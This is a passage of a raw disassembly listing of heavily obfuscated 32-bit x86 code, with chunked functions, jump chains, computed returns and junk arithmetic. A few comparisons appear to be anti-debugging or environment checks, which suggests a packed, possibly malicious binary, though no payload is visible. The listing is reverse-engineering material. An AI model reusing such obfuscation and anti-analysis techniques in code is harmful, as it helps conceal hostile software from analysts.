; FUNCTION CHUNK AT 0040B5BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C436 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CD59 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040DF83 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E653 SIZE 0000001C BYTES

		mov	[esp+0], eax
		pop	eax
		jz	loc_406C06
		jmp	loc_409E39
sub_405D62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_405D71:				; CODE XREF: sub_406BF8:loc_40B51Ej
		inc	dword ptr [ebp-20h]
		jmp	loc_4061AC
; END OF FUNCTION CHUNK	FOR sub_406BF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_405D79:				; CODE XREF: sub_40A7F9-B9Fj
		pop	esi
		sub	esi, 0D174A181h
		test	esi, 10000000h
		jmp	loc_40FCB6
; END OF FUNCTION CHUNK	FOR sub_40A7F9

; =============== S U B	R O U T	I N E =======================================



sub_405D8B	proc near		; DATA XREF: sub_4057E6+43EEo

; FUNCTION CHUNK AT 0040652D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A4AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E86E SIZE 00000005 BYTES

		and	edi, 7EE1E406h
		add	edi, 0F7FF9451h


loc_405D97:				; CODE XREF: _837l4vi2:loc_40D44Bj
		jmp	loc_40E86E
sub_405D8B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_405D9C:				; CODE XREF: sub_4089C5-2E8Cj
		push	ecx
; END OF FUNCTION CHUNK	FOR sub_4089C5
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_405D9D:				; CODE XREF: sub_40D735:loc_405C2Bj
					; sub_40D735-39E3j ...
		jb	loc_40832E
		cmp	dword ptr [ebp-4], 5
		jnz	loc_4063FB
		lea	eax, [ebp-2AAh]
		jmp	loc_40542A
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------


loc_405DB8:				; CODE XREF: _837l4vi2:00405481j
		xor	ebx, eax

; =============== S U B	R O U T	I N E =======================================



sub_405DBA	proc near		; CODE XREF: sub_41045F+A4Dp

; FUNCTION CHUNK AT 004071AB SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		and	eax, 0FFFFFFh
		cmp	eax, 0C3C033h
		jmp	loc_4071AB
sub_405DBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A34C


loc_405DCD:				; CODE XREF: sub_40A34C+4EFEj
		adc	esi, eax
		xchg	eax, [edx]


loc_405DD1:				; CODE XREF: sub_40A34C:loc_40A359j
		call	sub_40B088
		mov	edx, 0D504D785h
		call	sub_408D2F
; END OF FUNCTION CHUNK	FOR sub_40A34C
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_405DE0:				; CODE XREF: sub_405C17+256Aj
		jmp	loc_40E83A
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_409A3E
		jmp	loc_406226
; ---------------------------------------------------------------------------


loc_405DF2:				; DATA XREF: sub_40CA72-2679o
		add	edx, 0A3D04B9h


loc_405DF8:				; CODE XREF: _837l4vi2:0040CAC5j
		call	sub_40E739
		push	eax
		rol	eax, 7
		mov	ds:dword_40A13C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_405E08:				; CODE XREF: sub_40D74E-6C95j
		jmp	loc_408902
; END OF FUNCTION CHUNK	FOR sub_40D74E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA72


loc_405E0D:				; CODE XREF: sub_40CA72:loc_40A3DCj
		ror	eax, 7
		push	esi
		jmp	loc_409840
; END OF FUNCTION CHUNK	FOR sub_40CA72
; ---------------------------------------------------------------------------
		jb	loc_405EEA
		jmp	sub_406ADC

; =============== S U B	R O U T	I N E =======================================



sub_405E21	proc near		; CODE XREF: _837l4vi2:00405B98j
					; sub_409D6B:loc_40F07Bp
		mov	[esp+0], ecx
		pop	ecx


loc_405E25:				; CODE XREF: sub_405CBC+368Aj
		pop	ebx
		retn
sub_405E21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_405E27:				; CODE XREF: sub_40CF3C+16B7j
		jmp	loc_405B49
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_405E2C:				; CODE XREF: sub_407AA4+1877j
					; sub_410942+Bj
		mov	eax, ds:dword_406B60
		mov	al, [eax]
		jmp	loc_4095AE
; END OF FUNCTION CHUNK	FOR sub_407AA4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_405E39:				; CODE XREF: _837l4vi2:00409710j
		and	ebx, 97281D0Bh

; =============== S U B	R O U T	I N E =======================================



sub_405E3F	proc near		; CODE XREF: _837l4vi2:0040D684p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00407BF6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00408457 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409429 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040F7DE SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_40B088
		push	1AD8A0AAh
		pop	edx
		rol	edx, 1
		xor	edx, 7778188Dh
		jmp	loc_407BF6
sub_405E3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jle	loc_40C2AE
		jmp	sub_407A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_405E66:				; CODE XREF: sub_40D735-86DEj
		sub	eax, 91B2875Ch
		test	eax, 4000000h
		jmp	loc_408A5B
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_405E77:				; CODE XREF: sub_40B67D-3860j
		jge	loc_40F3F3


loc_405E7D:				; CODE XREF: sub_40CC33+7j
		jmp	loc_409295
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
		cmp	ebp, edx
		jmp	loc_4057A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FB4


loc_405E89:				; CODE XREF: sub_405FB4:loc_409C88j
		push	4CA87AD7h
		mov	ecx, offset loc_405EA1
		xchg	ecx, [esp+4+var_4]

locret_405E96:				; CODE XREF: _837l4vi2:loc_40CC2Dj
		retn
; END OF FUNCTION CHUNK	FOR sub_405FB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_405E97:				; CODE XREF: sub_40B67D+3D90j
		jmp	loc_4072B4
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABD5


loc_405E9C:				; CODE XREF: sub_40ABD5+18j
		jmp	loc_407B01
; END OF FUNCTION CHUNK	FOR sub_40ABD5
; ---------------------------------------------------------------------------


loc_405EA1:				; DATA XREF: sub_405FB4-126o
		rol	ecx, 18h
		add	ecx, 28F3FA89h
		xchg	ecx, [esp]
		jmp	loc_40FA4A
; ---------------------------------------------------------------------------
		push	esi
		jmp	sub_407A03
; ---------------------------------------------------------------------------
		mov	eax, 4736B189h
		jmp	sub_40F030
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_405EC3:				; CODE XREF: sub_406ADC+6j
					; sub_407FEA:loc_407BE0j
		call	sub_40BF48
		test	al, al
		jz	loc_40AA3A
		jmp	loc_40A7AB
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_405ED5:				; CODE XREF: sub_4104E3+8DFj
		jns	loc_40D715
		shl	edx, 1
		jo	loc_408FBF
		jmp	loc_40612F
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
		mov	esi, ebp


loc_405EEA:				; CODE XREF: _837l4vi2:00405E16j
		jmp	sub_40DBFA
; ---------------------------------------------------------------------------


loc_405EEF:				; CODE XREF: _837l4vi2:004102FDj
		rol	ebx, 3
		jmp	loc_409244
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_405EF7:				; CODE XREF: sub_40C3AF-56C3j
		push	edx
		xchg	ecx, edx
		push	66051621h
		mov	ecx, offset sub_405F08
		xchg	ecx, [esp+8+var_8]
		retn
; END OF FUNCTION CHUNK	FOR sub_40C3AF

; =============== S U B	R O U T	I N E =======================================



sub_405F08	proc near		; DATA XREF: sub_40C3AF-64B0o
		rol	ecx, 0Bh
		jmp	loc_406CBD
sub_405F08	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_405F11:				; CODE XREF: sub_409D6B+1BBBj
		jb	loc_40AF98


loc_405F17:				; CODE XREF: sub_40D735:loc_410937j
		lea	eax, [ebp-25Ch]
		cmp	dword ptr [eax], 47424454h
		jnz	loc_409545
		jmp	loc_406D2F
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_405F2E:				; CODE XREF: sub_40CEC1-6BAFj
		sub	edx, 7A690741h
		jmp	loc_405B0C
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_405F39:				; CODE XREF: sub_40CD8A+1564j
		add	eax, 0C225D6h
		xchg	eax, [esp+0]


loc_405F42:				; CODE XREF: sub_4061B1:loc_40BE62j
		jmp	loc_4100C8
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; ---------------------------------------------------------------------------
		adc	ebp, 3C613211h
		jmp	sub_410A22
; ---------------------------------------------------------------------------


loc_405F52:				; DATA XREF: sub_407E0Ao
		mov	[esp], edx
		push	ecx
		call	sub_4103F2
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_405F5B:				; CODE XREF: sub_408A93+6AC5j
		jmp	loc_410967
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_405F60:				; CODE XREF: sub_406834:loc_40C8CCj
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		jmp	loc_40D1AE
; ---------------------------------------------------------------------------


loc_405F6F:				; CODE XREF: sub_406834:loc_406BAEj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-10h], 38h
		jnz	loc_40B814
		mov	eax, [ebp+arg_0]
		push	eax
		jmp	loc_40D1A1
; END OF FUNCTION CHUNK	FOR sub_406834

; =============== S U B	R O U T	I N E =======================================



sub_405F85	proc near		; CODE XREF: sub_40A9F1j
					; DATA XREF: sub_40C099-16B2o

; FUNCTION CHUNK AT 00406711 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004085C8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00408ED8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040A020 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A061 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040B055 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C397 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D7E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E8C0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040F915 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410FD6 SIZE 00000005 BYTES

		cmp	eax, 0FFFFFFFFh
		call	sub_40DDCA


loc_405F8D:				; CODE XREF: _837l4vi2:00410450j
		jnb	loc_40D7E9
		jp	loc_40F915
		jmp	loc_408ED8
sub_405F85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405F9E	proc near		; CODE XREF: sub_405AFA:loc_4064A5p
					; sub_409E44+B63j

; FUNCTION CHUNK AT 00408DA9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B564 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BDD2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040F9AE SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		ror	edx, 18h
		adc	eax, 14A69D12h
		rol	edx, 1Bh
		pop	ebx
		jmp	loc_40B564
sub_405F9E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405FB4	proc near		; CODE XREF: sub_407EE8+4p
					; _837l4vi2:0040E435j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00405E89 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00407ECF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00409C88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BDF5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F018 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040F52A SIZE 0000001D BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_41068C
		or	eax, eax
		jmp	loc_407ECF
sub_405FB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: _837l4vi2:loc_40CBDFj
		cmp	eax, 0C3C033h
		jnz	sub_406C3E
		jmp	loc_40A866

; =============== S U B	R O U T	I N E =======================================



sub_405FD8	proc near		; CODE XREF: sub_405BB4+3BCFp
					; _837l4vi2:0040DFB1j

; FUNCTION CHUNK AT 0040DB1A SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ecx, ebp
		add	ecx, 86619879h
		jmp	loc_40DB1A
sub_405FD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_405FE9:				; CODE XREF: _837l4vi2:004095FCj
		jnz	loc_405A1B
		jmp	loc_40A48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBC2


loc_405FF4:				; CODE XREF: sub_40CBC2:loc_40C207j
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		mov	[edx-18h], eax
		inc	dword ptr [ebp-4]
		jmp	loc_40E402
; END OF FUNCTION CHUNK	FOR sub_40CBC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_406006:				; CODE XREF: sub_40882B-F69j
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40882B

; =============== S U B	R O U T	I N E =======================================



sub_40600B	proc near		; DATA XREF: sub_40966E+4145o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040880C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00409669 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409A65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A10C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040B389 SIZE 00000016 BYTES

		add	ecx, ebp
		add	ecx, 4FD113B8h
		mov	[ecx], eax
		pop	ecx
		inc	dword ptr [ebp-0Ch]
		jmp	loc_40880C
sub_40600B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40601E	proc near		; DATA XREF: _837l4vi2:00408975o

; FUNCTION CHUNK AT 0040742C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040746D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408375 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00408F96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C3F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C7AB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0040CC45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DB20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E0B0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040F3A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040FD42 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410AD3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410C57 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00410CC2 SIZE 00000021 BYTES

		and	eax, edx
		jz	loc_410F3D
		jmp	loc_40FD42
sub_40601E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C85D


loc_40602B:				; CODE XREF: sub_40C85D+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		push	offset loc_40DE10
		jmp	loc_406B9E
; END OF FUNCTION CHUNK	FOR sub_40C85D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40603A:				; CODE XREF: sub_40AE2D-4745j
		xor	ebp, 0ECD64F86h


loc_406040:				; CODE XREF: sub_40AE2D:loc_40C4C5j
		push	eax
		push	0D7764C0Dh
		pop	eax
		sub	eax, 151D2F56h
		cmp	eax, 18072002h
		jmp	loc_40F042
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F4E5


loc_406058:				; CODE XREF: sub_40F4E5:loc_40DFE0j
		pop	edi
		xor	edi, 9F6DCB0Dh
		add	eax, edi
		pop	edi
		push	eax
		push	offset loc_40CB10
		jmp	loc_4074CB
; END OF FUNCTION CHUNK	FOR sub_40F4E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4059FC


loc_40606D:				; CODE XREF: sub_4059FC+EF5j
		mov	ds:dword_406B44, eax
		mov	ds:byte_40BDC0,	1
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_40E13A
		jmp	loc_4077BD
; END OF FUNCTION CHUNK	FOR sub_4059FC

; =============== S U B	R O U T	I N E =======================================



sub_406088	proc near		; DATA XREF: _837l4vi2:0041057Fo
		call	sub_40C4A5
		mov	[ebp-8], eax
		push	400h
		push	0CB2C90ADh


loc_40609A:				; CODE XREF: _837l4vi2:0040DA2Bj
		pop	eax
		xor	eax, 287F47F8h
		call	sub_40A00D
sub_406088	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40E739


loc_4060A6:				; CODE XREF: sub_40E739+3CCj
		shl	ecx, 0Ah
		jb	loc_40DCC6
; END OF FUNCTION CHUNK	FOR sub_40E739

; =============== S U B	R O U T	I N E =======================================



sub_4060AF	proc near		; CODE XREF: sub_40E739:loc_40539Fj

; FUNCTION CHUNK AT 0040DECA SIZE 00000005 BYTES

		push	ebx
		push	176371A4h
		pop	ebx
		add	ebx, 0ABD81329h
		sub	ebx, 9081C94Fh
		jmp	loc_40DECA
sub_4060AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060C7	proc near		; CODE XREF: _837l4vi2:0040E792p

; FUNCTION CHUNK AT 004054F9 SIZE 0000000F BYTES

		push	ebx
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		call	sub_40B088
		jmp	loc_4054F9
sub_4060C7	endp

; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_159
		jmp	loc_40F0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_4060E5:				; CODE XREF: sub_4085A2-3221j
		shl	ecx, 15h
		xchg	eax, ebx
		mov	ebp, [ebx]
		jmp	loc_40E2AB
; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A2D5


loc_4060F1:				; CODE XREF: sub_40A2D5+46B9j
					; sub_410362-980j
		push	offset sub_40E97D
		jmp	loc_40BEAA
; END OF FUNCTION CHUNK	FOR sub_40A2D5
; ---------------------------------------------------------------------------


loc_4060FB:				; CODE XREF: _837l4vi2:0040D607j
		call	sub_407A03
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_406100:				; CODE XREF: sub_410942-7633j
					; sub_407AA4+1891j ...
		mov	esp, ebp
		pop	ebp
		push	ds:dword_406B60
		retn
; END OF FUNCTION CHUNK	FOR sub_407AA4

; =============== S U B	R O U T	I N E =======================================



sub_40610A	proc near		; CODE XREF: sub_407AA4+187Dp
					; sub_410942+11p

; FUNCTION CHUNK AT 00409BED SIZE 00000013 BYTES

		mov	eax, cs
		xor	al, al
		or	eax, eax
		jnz	loc_409BFA
		jmp	loc_409BED
sub_40610A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40611B	proc near		; DATA XREF: sub_40DC9Eo

var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00405368 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004064F7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040734B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040787D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407D8D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409372 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040C54F SIZE 00000005 BYTES

		push	ebp


loc_40611C:				; CODE XREF: _837l4vi2:loc_409898j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	loc_4064F7
sub_40611B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40612F:				; CODE XREF: sub_4104E3-A600j
		ror	ecx, 13h


loc_406132:				; CODE XREF: sub_4104E3:loc_410DBCj
		call	sub_409D6B
		mov	edx, 0BD91ED44h
		call	sub_40E739
		jmp	loc_40E342
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_406146:				; CODE XREF: sub_405201+80B8j
		xchg	eax, ecx
		push	edx
		push	6A94899Ch
		pop	edx
		jmp	loc_410EBD
; END OF FUNCTION CHUNK	FOR sub_405201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_406154:				; CODE XREF: sub_4078C8+45C2j
		and	edx, 0D3C99474h
		cmp	edx, 2FE781A5h
		jmp	loc_4065A4
; END OF FUNCTION CHUNK	FOR sub_4078C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103F2


loc_406166:				; CODE XREF: sub_4103F2+Aj
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_4103F2
; ---------------------------------------------------------------------------


loc_40616B:				; CODE XREF: _837l4vi2:0040ECE4j
		jmp	loc_40B446
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_406170:				; CODE XREF: sub_40C3AF:loc_406627j
		xchg	edx, [esp+8+var_8]
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40C3AF

; =============== S U B	R O U T	I N E =======================================



sub_406178	proc near		; CODE XREF: _837l4vi2:00407FD6j
					; sub_40A8ED+4475p

; FUNCTION CHUNK AT 0040B803 SIZE 0000001E BYTES

		mov	[esp+0], eax
		pop	eax
		add	esi, 5CBD796Ch
		add	esi, ebp
		jmp	loc_40B803
sub_406178	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_406189:				; CODE XREF: sub_41087A-FA9j
		jp	loc_40A8C2


loc_40618F:				; CODE XREF: sub_41087A:loc_4076FDj
		call	sub_409218
		test	eax, eax
		jz	loc_4092D0
		jmp	loc_40CD62
; END OF FUNCTION CHUNK	FOR sub_41087A

; =============== S U B	R O U T	I N E =======================================



sub_4061A1	proc near		; CODE XREF: _837l4vi2:00406CAEj
					; sub_409D6B+7p

; FUNCTION CHUNK AT 0040A56A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B2FE SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebp, esp
		call	sub_40BED0


loc_4061AC:				; CODE XREF: sub_406BF8-E84j
		jmp	loc_40B2FE
sub_4061A1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4061B1	proc near		; DATA XREF: sub_40FF31+9o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405C8D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00406814 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00407485 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00407F27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408907 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040B412 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040BE62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C876 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D424 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DFEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E39C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040EF4E SIZE 00000013 BYTES

		or	eax, eax
		jnz	loc_40E522
		jmp	loc_40DFEA
sub_4061B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_4061BE:				; CODE XREF: sub_40CAD0:loc_40CD85j
		sub	eax, 315D925Fh


loc_4061C4:				; CODE XREF: _837l4vi2:0040B9A3j
		xor	eax, 3FE0CEE4h
		jns	loc_40AAAE


loc_4061D0:				; CODE XREF: sub_40735A+Fj
		jmp	loc_40A61C
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; ---------------------------------------------------------------------------
		sbb	esi, 8F96CDB9h
		jmp	loc_40AAA6
; ---------------------------------------------------------------------------
		sbb	edx, ebx
		pop	ebp
		jmp	sub_40CAD0

; =============== S U B	R O U T	I N E =======================================



sub_4061E8	proc near		; CODE XREF: sub_4072E4:loc_405195p
					; _837l4vi2:0040A1F8j

; FUNCTION CHUNK AT 00405260 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406C95 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00408DE8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040A5B8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B435 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BE14 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CFDF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040E1B5 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	43A0171h
		xor	dword ptr [esp+0], 43A0171h
		lea	eax, [ebp-400h]
		call	sub_40E1CD


loc_406203:				; CODE XREF: sub_40CEC1+Cj
		jmp	loc_40BE14
sub_4061E8	endp

; ---------------------------------------------------------------------------
		xor	ebp, 5F808081h
		jmp	sub_40DF94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D263


loc_406213:				; CODE XREF: sub_40D263+Aj
		mov	eax, ds:dword_406D68[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		call	sub_405D62


loc_406226:				; CODE XREF: _837l4vi2:00405DEDj
		jmp	loc_4080BB
; END OF FUNCTION CHUNK	FOR sub_40D263
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40622B:				; CODE XREF: sub_407AD3+48A2j
					; sub_40833D:loc_40EAD3j
		call	sub_40D735


loc_406230:				; CODE XREF: sub_40F058-6A2Bj
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_406235:				; CODE XREF: _837l4vi2:004082CDj
					; sub_405984:loc_408BC4j
		jmp	loc_4095D1
; END OF FUNCTION CHUNK	FOR sub_405984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40623A:				; CODE XREF: sub_40D735+3Cj
		jg	loc_40D185
		adc	eax, ebx
		jns	loc_407FBC


loc_406248:				; CODE XREF: sub_40D735:loc_406A17j
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 47424454h
		jmp	loc_40A969
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_406259:				; CODE XREF: sub_40DFF5:loc_4051FCj
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_410F9C
		mov	edx, [ebx+ecx]
		jmp	loc_410F8C
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D169


loc_40626D:				; CODE XREF: sub_40D169-457Dj
		pop	eax
		pop	ecx
		pop	edx
